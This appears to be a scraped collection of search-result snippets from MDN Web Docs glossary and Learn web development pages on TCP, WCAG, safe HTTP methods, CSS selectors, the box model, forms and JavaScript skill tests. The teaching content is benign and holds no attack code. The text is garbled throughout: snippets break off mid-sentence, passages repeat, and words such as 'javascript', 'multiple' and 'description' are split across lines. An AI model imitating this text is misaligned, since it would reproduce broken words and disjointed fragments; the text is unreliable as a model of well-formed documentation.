...the three messages transmitted by tcp to negotiate and start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively. ...
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
cag) are a recommendation published by the web accessibility initiative group at the w3c. they outline a set of guidelines for making content accessible primarily for people with disabilities but also for limited-resource devices such as mobile phones. wcag 2.0 which superseded wcag 1.0 was published as a w3c recommendation on 11 december 2008. it consists of 12 guidelines organized under 4 princ
iples (perceivable, operable, understandable, and robust) and each guideline has testable success criteria. wcag uses three levels of conformance: priority 1: web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the web content. conformance to this level is described as a. priority 2: web developers should satisfy these requirements, o...
... level is described as a. priority 2: web developers should satisfy these requirements, otherwise some groups will find it difficult to access the web content. ...
...should satisfy these requirements, otherwise some groups will find it difficult to access the web content. conformance to this level is described as aa or double-a. ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
on't create an unnecessary load or burden for the server. browsers can call safe methods without fearing to cause any harm to the server; this allows them to perform activities like pre-fetching without risk. web crawlers also rely on calling safe methods. safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating scr
ipt guarantees safety: it should not trigger external effects, like triggering an order in an e-commerce web site. it is the responsibility of the application on the server to implement the safe semantic correctly, the webserver itself, being apache, nginx or iis, can't enforce it by itself. in particular, an application should not allow get requests to alter its state. a call to a safe method, no...
...sts to alter its state. ...
...anging the state for the server: get /pagex.html http/1.1 a call to a non-safe method, that may change the state of the server: post /pagex.html http/1.1 a call to an idempotent but non-safe method: delete /idx/delete http/1.1 learn more general knowledge definition of safe in the http specification. technical knowledge descr
iption of common safe methods: get, head, options descr
iption of common unsafe methods: put, delete, post ...
Test your skills: WAI-ARIA - Learn web development
ily findable? how can you give the search input a suitable label, without explicitly adding a visible text label to the dom? try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. wai-aria 3 for this final wai-aria task, we return to an example we previously saw in the css and javascr
ipt skilltest. as before, we have a simple app that presents a list of animal names. clicking one of the animal names causes a further descr
iption of that animal to appear in a box below the list. here, we are starting with a mouse- and keyboard-accessible version. the problem we have now is that when the dom changes to show a new decr
iption, screenreaders cannot see what has changed. can you upd...
... assessment or further help you can practice these examples in the interactive editors above. ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for wai-aria 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone wit...
Type, class, and ID selectors - Learn web development
ant combinator). in the following example we have used the universal selector to remove the margins on all elements. this means that instead of the default styling added by the browser, which spaces out headings and paragraphs with margins, everything is close together and we can't see the different paragraphs easily. this kind of behavior can sometimes be seen in "reset stylesheets", which str
ips out all of the browser styling. since the universal selector makes global changes, we use it to deal with very specific situations such as the one outlined below. using the universal selector to make your selectors easier to read one use of the universal selector is to make selectors easier to read and more obvious in terms of what they are doing. for example, if i wanted to select the first c...
... the element i want to target, with the class appended using a dot, with no white space in between. this approach reduces the scope of a rule as the rule will only apply to that particular element & class combination; so you would need to add another selector if you decided the rule should apply to other elements too. target an element if it has more than one class applied you can apply mult
iple classes to an element and target them individually, or only select the element when all of the classes in the selector are present. this can be helpful when building up components that can be combined in different ways on your site. in the example below we have a <div> that contains a note. the grey border is applied when the box has a class of notebox. if it also has a class of warning or dan...
... the same way as a class selector. an id however can be used only once per document, and elements can only have a single id value applied to them. it can select an element that has the id set on it, and you can precede the id with a type selector to only target the element if both the element and id match. you can see both of these uses in the following example: warning: using the same id mult
iple times in a document may appear to work for styling purposes, but don't do this. it results in invalid code, and will cause strange behavior in many places. note: as we learned in the lesson on specificity, an id has high specificity and will overrule most other selectors. this can make them difficult to deal with. in most cases it is preferable to add a class to the element rather than use a...
The box model - Learn web development
zing: border-box on it. by doing this you are telling the browser to take the border box as the area defined by any size you set. .box { box-sizing: border-box; } if you want all of your elements to use the alternative box model, and this is a common choice among developers, set the box-sizing property on the <html> element, then set all other elements to inherit that value, as seen in the sn
ippet below. if you want to understand the thinking behind this, see the css tricks article on box-sizing. html { box-sizing: border-box; } *, *::before, *::after { box-sizing: inherit; } note: an interesting bit of history -- internet explorer used to default to the alternative box model, with no mechanism available to switch. playing with box models in the below example, you can see two ...
...ndard box model, the size of the border is added to the width and height of the box. if you are using the alternative box model then the size of the border makes the content box smaller as it takes up some of that available width and height. for styling borders, there are a large number of properties -- there are four borders, and each border has a style, width and color that we might want to man
ipulate. you can set the width, style, or color of all four borders at once using the border property. to set the properties of each side individually, you can use: border-top border-right border-bottom border-left to set the width, style, or color of all sides, use the following: border-width border-style border-color to set the width, style, or color of a single side, you can use ...
...e applies fully to block boxes. some of the properties can apply to inline boxes too, such as those created by a <span> element. in the example below, we have a <span> inside a paragraph and have applied a width, height, margin, border, and padding to it. you can see that the width and height are ignored. the vertical margin, padding, and border are respected but they do not change the relationsh
ip of other content to our inline box and so the padding and border overlaps other words in the paragraph. horizontal padding, margins, and borders are respected and will cause other content to move away from the box. using display: inline-block there is a special value of display, which provides a middle ground between inline and block. this is useful for situations where you do not want an it...
CSS layout - Learn web development
now it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...the web. it lets you lay content out in rows and columns, and has many features that make building complex layouts straightforward. this article will give you all you need to know to get started with page layout, then test your grid skills before moving on. floats originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating mult
iple column layouts on webpages. with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. positioning positioning allows you to take elements out of the normal document layout flow, and make them behave differently, for example sitting on top of one another, or always remaining in the same place inside the browser viewport. this article explains th...
...ox and grid it has now returned to its original purpose, as this article explains. positioning positioning allows you to take elements out of the normal document layout flow, and make them behave differently, for example sitting on top of one another, or always remaining in the same place inside the browser viewport. this article explains the different position values, and how to use them. mult
iple-column layout the mult
iple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper. this article explains how to use this feature. responsive design as more diverse screen sizes have appeared on web-enabled devices, the concept of responsive web design (rwd) has appeared: a set of practices that allows web pages to alter their layout a...
How CSS is structured - Learn web development
in detail. applying css to html first, let's examine three methods of applying css to a document: with an external stylesheet, with an internal stylesheet, and with inline styles. external stylesheet an external stylesheet contains css in a separate file with a .css extension. this is the most common and useful method of bringing css to a document. you can link a single css file to mult
iple web pages, styling all of them with the same css stylesheet. in the getting started with css, we linked an external stylesheet to our web page. you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!
...llo world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful. for example, perhaps you're working with a content management system where you are blocked from modifying external css files. but for sites with more than one page, an internal stylesheet becomes a less efficient way of working. to apply uniform css styling to mult
iple pages using internal stylesheets, you must have an internal stylesheet in every web page that will use the styling. the efficiency penalty carries over to site maintenance too. with css in internal stylesheets, there is the risk that even one simple styling change may require edits to mult
iple web pages. inline styles inline styles are css declarations that affect a single html element, conta...
...eriment</title> </head> <body> <h1 style="color: blue;background-color: yellow;border: 1px solid black;">hello world!</h1> <p style="color:red;">this is my first css example</p> </body> </html> avoid using css in this way when possible. it is the opposite of a best practice. first, it is the least efficient implementation of css for maintenance. one styling change might require mult
iple edits within in a single web page. second, inline css also mixes (css) presentational code with html and content, making everything more difficult to read and understand. separating code and content makes maintenance easier for all who work on the the website. there are a few circumstances where inline styles are more common. you might have to resort to using inline styles if your working envi...
What HTML features promote accessibility? - Learn web development
automatically fall into place. <ul> <li><a href="here.html" tabindex="1">here</a></li> <li><a href="there.html" tabindex="3">there</a></li> <li><a href="anywhere.html" tabindex="2">anywhere</a></li> </ul> in this example (which is used purely as a demonstration--do not do this), tabbing would jump from "here" to "anywhere" to "there". link titles if you have a link that isn't self-descr
iptive, or the link destination could benefit from being explained in more detail, you can add information to a link using the title attribute. <p>i'm really bad at writing link text. <a href="inept.html" title="why i'm rubbish at writing link text: an explanation and an apology.">click here</a> to find out more.</p> access keys access keys provide easier navigation by assigning a keyboard shortc...
...html" title="why i'm rubbish at writing link text: an explanation and an apology.">click here</a> to find out more.</p> access keys access keys provide easier navigation by assigning a keyboard shortcut to a link, which will usually gain focus when the user presses alt or ctrl + the access key. the exact key combination varies by platform. ...
...atform. <a href="somepage.html" accesskey="s">some page</a> sk
ip links to aid tabbing, you can supply links that allow users to jump over chunks of your web page. you might want to allow someone to jump over a plethora of navigation links, for example, so they can just read a page's main content rather than cycle through all of the links. ...
What is the difference between webpage, website, web server, and search engine? - Learn web development
y do when visiting a library: find a search index and look for the title of the book you want. make a note of the catalog number of the book. go to the particular section containing the book, find the right catalog number, and get the book. let's compare the library with a web server: the library is like a web server. it has several sections, which is similar to a web server hosting mult
iple websites. the different sections (science, math, history, etc.) in the library are like websites. each section is like a unique website (two sections do not contain same books). the books in each section are like webpages. one website may have several webpages, e.g., the science section (the website) will have books on heat, sound, thermodynamics, statics, etc. (the webpages). webpages can ea...
...r into how those four terms are related and why they are sometimes confused with each other. web page a web page is a simple document displayable by a browser. such documents are written in the html language (which we look into in more detail in other articles). a web page can embed a variety of different types of resources such as: style information -- controlling a page's look-and-feel scr
ipts -- which add interactivity to the page media -- images, sounds, and videos. note: browsers can also display other documents such as pdf files or images, but the term web page specifically refers to html documents. otherwise, we only use the term document. all web pages available on the web are reachable through a unique address. to access a page, just type its address in your browser addr...
... available on that computer. the web server will send any web page from the website it is hosting to any user's browser, per user request. don't confuse websites and web servers. for example, if you hear someone say, "my website is not responding", it actually means that the web server is not responding and therefore the website is not available. more importantly, since a web server can host mult
iple websites, the term web server is never used to designate a website, as it could cause great confusion. in our previous example, if we said, "my web server is not responding", it means that mult
iple websites on that web server are not available. search engine search engines are a common source of confusion on the web. a search engine is a special kind of website that helps users find web pages...
What is accessibility? - Learn web development
this article introduces the basic concepts behind web accessibility. prerequisites: none. objective: learn what accessibility is and why it matters. summary because of physical or technical limitations, maybe your visitors can't experience your website the way you hoped. in this article we give general accessibility princ
iples and explain a few rules. active learning there is no active learning available yet. dig deeper accessibility: general princ
iples we might associate accessibility at first with negative limitations. this building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement. that's a narrow way to think of accessibility. think of it as a wonderful way to empower people and...
...ingly. hence accessibility. web accessibility in the specific context of the web, accessibility means that anyone can benefit from your content, regardless of disability, location, technical limitations, or other circumstances. let's consider video: hearing impairment how does a hearing-impaired person benefit from a video? you have to provide subtitles --or even better, a full text transcr
ipt. also, make sure people can adjust the volume to accommodate their unique needs. visual impairment again, provide a text transcr
ipt that a user can consult without needing to play the video, and an audio-descr
iption (an off-screen voice that describes what is happening in the video). pausing capacity users may have trouble understanding someone in a video. let them pause the video to read t...
...gate to all widgets on a page solely with the keyboard, without getting trapped. (at least let them tab in and out.) and that's just the beginning. accessibility champions since 1999, the w3c has operated a working group called the web accessibility initiative (wai) promoting accessibility through guidelines, support material, and international resources. more details please refer to: wik
ipedia article about accessibility wai (w3c's web accessibility initiative) next steps accessibility can impact both a website's design and technical structure. from a design point of view, we suggest learning about designing for all types of users. if the technical side interests you more, you could learn how to embed images in webpages. ...
Example 1 - Learn web development
dth : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .s...
...dth : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .s...
... : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ell
ipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; ...
Your first form - Learn web development
ton resets all the form widgets to their default value immediately. from a ux point of view, this is considered bad practice, so you should avoid using this type of button unless you really have a good reason to include one. a click on a button button does... nothing! that sounds silly, but it's amazingly useful for building custom buttons -- you can define their chosen functionality with javascr
ipt. note: you can also use the <input> element with the corresponding type to produce a button, for example <input type="submit">. the main advantage of the <button> element is that the <input> element only allows plain text in its label whereas the <button> element allows full html content, allowing more complex, creative button content. basic form styling now that you have finished writing ...
... <input type="email" id="mail" name="user_email" /> </li> <li> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </li> ... in our example, the form will send 3 pieces of data named "user_name", "user_email", and "user_message". that data will be sent to the url "/my-handling-form-page" using the http post method. on the server side, the scr
ipt at the url "/my-handling-form-page" will receive the data as a list of 3 key/value items contained in the http request. the way this scr
ipt will handle that data is up to you. each server-side language (php, python, ruby, java, c#, etc.) has its own mechanism of handling form data. it's beyond the scope of this guide to go deeply into that subject, but if you want to know more, we have provided ...
...module will help you to master the rest. ...
Web forms — Working with user data - Learn web development
prerequisites before starting this module, you should at least work through our introduction to html. at this point you should find the introductory guides easy to understand, and also be able to make use of our basic native form controls guide. ...
...native form controls guide. mastering forms however requires more than just html knowledge -- you also need to learn some specific techniques to style form controls, and some scr
ipting knowledge is required to handle things like validation and creating custom form controls. therefore, before you look at the other sections listed below we'd recommend that you go away and learn some css and javascr
ipt first. the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascr
ipt topic areas -- form elements are more complex than most other html elements, and they also require a close marriage of related css and javascr
ipt techniques to get the most out of them. note: if you are working on a com...
...build custom form controls you'll come across some cases where the native form widgets just don't provide what you need, e.g. because of styling or functionality. in such cases, you may need to build your own form widget out of raw html. this article explains how you'd do this and the considerations you need to be aware of when doing so, with a practical case study. sending forms through javascr
ipt this article looks at ways to use a form to assemble an http request and send it via custom javascr
ipt, rather than standard form submission. it also looks at why you'd want to do this, and the implications of doing so. (see also using formdata objects.) css property compatibility table for form controls this last article provides a handy reference allowing you to look up what css properties ...
CSS basics - Learn web development
ample, there are many color values in addition to red.) note the other important parts of the syntax: apart from the selector, each ruleset must be wrapped in curly braces. ({}) within each declaration, you must use a colon (:) to separate the property from its value or values. within each ruleset, you must use a semicolon (;) to separate each declaration from the next one. to modify mult
iple property values in one ruleset, write them separated by semicolons, like this: p { color: red; width: 500px; border: 1px solid black; } selecting mult
iple elements you can also select mult
iple elements and apply a single ruleset to all of them. separate mult
iple selectors by commas. for example: p, li, h1 { color: red; } different types of selectors there are many different types ...
... element selector (sometimes called a tag or type selector) all html elements of the specified type. p selects <p> id selector the element on the page with the specified id. on a given html page, each id value should be unique. #my-id selects <p id="my-id"> or <a id="my-id"> class selector the element(s) on the page with the specified class. mult
iple instances of the same class can appear on a page. .my-class selects <p class="my-class"> and <a class="my-class"> attribute selector the element(s) on the page with the specified attribute. img[src] selects <img src="myimage.png"> but not <img> pseudo-class selector the specified element(s), but only when in the specified state. (for example, when a cursor ...
...you get stuck, you can always compare your work with our finished example code on github. in this exercise, we have just scratched the surface of css. to go further, see learning to style html using css. previous overview: getting started with the web next in this module installing basic software what will your website look like? dealing with files html basics css basics javascr
ipt basics publishing your website how the web works ...
Dealing with files - Learn web development
th no spaces and with words separated by dashes, at least until you know what you're doing. that way you'll bump into fewer problems later down the road. what structure should your website have? next, let's look at what structure our test site should have. the most common things we'll have on any website project we create are an index html file and folders to contain images, style files, and scr
ipt files. let's create these now: index.html: this file will generally contain your homepage content, that is, the text and images that people see when they first go to your site. using your text editor, create a new file called index.html and save it just inside your test-site folder. images folder: this folder will contain all the images that you use on your site. create a folder called image...
... index.html and save it just inside your test-site folder. images folder: this folder will contain all the images that you use on your site. create a folder called images, inside your test-site folder. styles folder: this folder will contain the css code used to style your content (for example, setting text and background colors). create a folder called styles, inside your test-site folder. scr
ipts folder: this folder will contain all the javascr
ipt code used to add interactive functionality to your site (e.g. buttons that load data when clicked). create a folder called scr
ipts, inside your test-site folder. note: on windows computers, you might have trouble seeing the file names, because windows has an option called hide extensions for known file types turned on by default. generally,...
...are developing your website on windows, you should still use forward slashes in your code. what else should be done? that is about it for now. your folder structure should look something like this: previous overview: getting started with the web next in this module installing basic software what will your website look like? dealing with files html basics css basics javascr
ipt basics publishing your website how the web works ...
Publishing your website - Learn web development
for more details) to actually transfer the website files over to the server. ftp programs vary widely, but generally, you have to connect to your web server using details provided by your hosting company (typically username, password, hostname). then the program shows you your local files and the web server's files in two windows, and provides a way for you to transfer files back and forth. t
ips for finding hosting and domains mdn does not promote specific commercial hosting companies or domain name registrars. to find hosting companies and registrars, just search for "web hosting" and "domain names". all registrars will have a feature to allow you to check if the domain name you want is available. your home or office internet service provider may provide some limited hosting for a ...
...ed to build a multi-tiered web application from scratch or host a static website. see how do you host your website on google app engine? for more information. these options are usually free, but you may outgrow the limited feature-set. using a web-based ide such as codepen there are a number of web apps that emulate a website development environment, allowing you to enter html, css and javascr
ipt, and then display the result of that code as a website -- all in one browser tab. generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features). they host your rendered page at a unique web address. however, the featu...
...a website: a nice tutorial from codecademy that goes a bit further and shows some additional techniques. cheap or free static website hosting by scott murray has some useful ideas on available services. previous overview: getting started with the web next in this module installing basic software what will your website look like? dealing with files html basics css basics javascr
ipt basics publishing your website how the web works ...
Use HTML to solve common problems - Learn web development
rstandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add video content to a webpage scr
ipting & styling html only sets up document structure. to solve presentation issues, use css, or use scr
ipting to make your page interactive. how to use css within a webpage how to use javascr
ipt within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich a...
... a simple web form how to structure a web form tabular information some information, called tabular data, needs to be organized into tables with columns and rows. it's one of the most complex html structures, and mastering it is not easy: how to create a data table how to make html tables accessible data representation how to represent numeric and code values with html -- see superscr
ipt and subscr
ipt, and representing computer code. how to use data attributes advanced text semantics how to take control of html line breaking how to mark changes (added and removed text) -- see the <ins> and <del> elements. advanced images & multimedia how to add a responsive image to a webpage how to add vector image to a webpage how to add a hit map on top of an image internati...
...control of html line breaking how to mark changes (added and removed text) -- see the <ins> and <del> elements. ...
Marking up a letter - Learn web development
ontaining machine-readable dates. the first address and first date in the letter should have a class attribute value of sender-column. the css you'll add later will cause these to be right aligned, as it should be in the case in a classic letter layout. mark up the five acronyms/abbreviations in the main text of the letter to provide expansions of each acronym/abbreviation. the six sub/superscr
ipts should be marked up appropriately -- in the chemical formulae, and the numbers 103 and 104 (they should be 10 to the power of 3 and 4, respectively). try to mark up at least two appropriate words in the text with strong importance/emphasis. there are two places where the letter should have a hyperlink. add appropriate links with titles. for the location that the links point to, you may use h...
... point to, you may use http://example.com as the url. mark up the university motto quote and citation with appropriate elements. the head of the document the character set of the document should be set as utf-8 using the appropriate meta tag. the author of the letter should be specified in an appropriate meta tag. the provided css should be included inside an appropriate tag. hints and t
ips use the w3c html validator to validate your html. award yourself bonus points if it validates. you don't need to know any css to do this assignment. you just need to put the provided css inside an html element. example the following screenshot shows an example of what the letter might look like after being marked up. assessment or further help if you would like your work assessed, or...
... example of what the letter might look like after being marked up. assessment or further help if you would like your work assessed, or if you get stuck and want to ask for help: put your work in an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for marking up a letter". details of what you have already tried, and what you would like us to do (if you are stuck and need help, or if you want an assessment). a link to the example you want evaluated or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good habit to develop. it's very hard to help someone with a ...
Structuring a page of content - Learn web development
of. prerequisites: before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on document and website structure. objective: to test knowledge of web page structures, and how to represent a prospective layout design in markup. starting point to get this assessment started, you should go and grab the z
ip file containing all the starting assets. the z
ip file contains: the html you need to add structural markup to. css to style your markup. images that are used on the page. create the example on your local computer, or alternatively use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. note: if you get stuck, then ask us for help -- see the assessment or further ...
...t, and a sidebar to contain image thumbnails. a footer containing copyright information and credits. you need to add a suitable wrapper for: the header the navigation menu the main content the welcome text the image sidebar the footer you should also: apply the provided css to the page by adding another <link> element just below the existing one provided at the start. hints and t
ips use the w3c nu html checker to catch unintended mistakes in your html, css, and svg -- mistakes you might have otherwise missed -- so that you can fix them. you don't need to know any css to do this assessment; you just need to put the provided css inside an html element. the provided css is designed so that when the correct structural elements are added to the markup, they will appear gree...
... an example of what the homepage might look like after being marked up. assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for structuring a page of content". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help som...
Test your skills: Advanced HTML text - Learn web development
olutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. advanced html text 1 in this task we want you to turn the provided animals and their definitions into a descr
iption list. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. advanced html text 2 in this task we want you to add some semantics to the provided html as follows: turn the second paragraph into a block-level quote, and semantically indicate that the quote is taken from accessibil...
...nload the starting point for this task to work in your own editor or in an online editor. advanced html text 2 in this task we want you to add some semantics to the provided html as follows: turn the second paragraph into a block-level quote, and semantically indicate that the quote is taken from accessibility. semantically mark up "html" and "css" as acronyms, providing expansions as toolt
ips. semantically associate machine-readable dates with the dates in the text. use subscr
ipt and superscr
ipt to provide correct semantics for the chemical formulae and dates, and make them display correctly. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. assessment or further he...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for advanced html text 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help s...
Assessment: Structuring planet data - Learn web development
point to start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascr
ipt into one of these online editors. if the online editor you are using doesn't have separate javascr
ipt/css panels, feel free to put them inline <scr
ipt>/<style> elements inside the html page. project brief you are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figure...
...semantically. ensure all the content is placed into the right cells -- in the raw data, each row of planet data is shown next to its associated planet. add attributes to make the row and column headers unambiguously associated with the rows, columns, or rowgroups that they act as headings for. add a black border just around the column that contains all the planet name row headers. hints and t
ips the first cell of the header row needs to be blank, and span two columns. the group row headings (e.g. jovian planets) that sit to the left of the planet name row headings (e.g. saturn) are a little tricky to sort out -- you need to make sure each one spans the correct number of rows and columns. one way of associating headers with their rows/columns is a lot easier than the other way. as...
...ting headers with their rows/columns is a lot easier than the other way. assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for structuring planet data". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone w...
Test your skills: Events - Learn web development
he code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). dom man
ipulation: considered useful some of the questions below require you to write some dom man
ipulation code to complete them -- such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via javascr
ipt. we haven't explicitly taught this yet...
... html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via javascr
ipt. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good starting place is our man
ipulating documents tutorial. events 1 in our first events-related task, you need to create a simple event handler that causes the text inside the button (btn) to change when it is clicked on, and change back when it is clicked again. the html should not be changed; just the javascr
ipt. try updating the live code below to recreate the finished example: download the starting point for this ta...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for events 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with ...
Test your skills: Functions - Learn web development
he code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). dom man
ipulation: considered useful some of the questions below require you to write some dom man
ipulation code to complete them -- such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via javascr
ipt. we haven't explicitly taught this yet...
... functions 1 for the first task, you have to create a simple function -- choosename() -- that prints a random name from the provided array (names) to the provided paragraph (para), and then run it once. ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for functions 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone wi...
Test your skills: Loops - Learn web development
or the tasks below by downloading the code, putting it in an online tool such as codepen, jsfiddle, or glitch, then working on the tasks. we didn't provide live editable versions of these tasks because of the risk of creating infinite loops and crashing the assessment page! if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. dom man
ipulation: considered useful some of the questions below require you to write some dom man
ipulation code to complete them -- such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via javascr
ipt. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use...
... html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via javascr
ipt. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good starting place is our man
ipulating documents tutorial. loops 1 in our first looping task we want you start by creating a simple loop that goes through all the items in the provided myarray and prints them out on the screen inside list items (i.e., <li> elements), which are appended to the provided list. download the starting point for this task to work in your own editor or in an online editor. loops 2 in this next t...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for loops 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help someone with a...
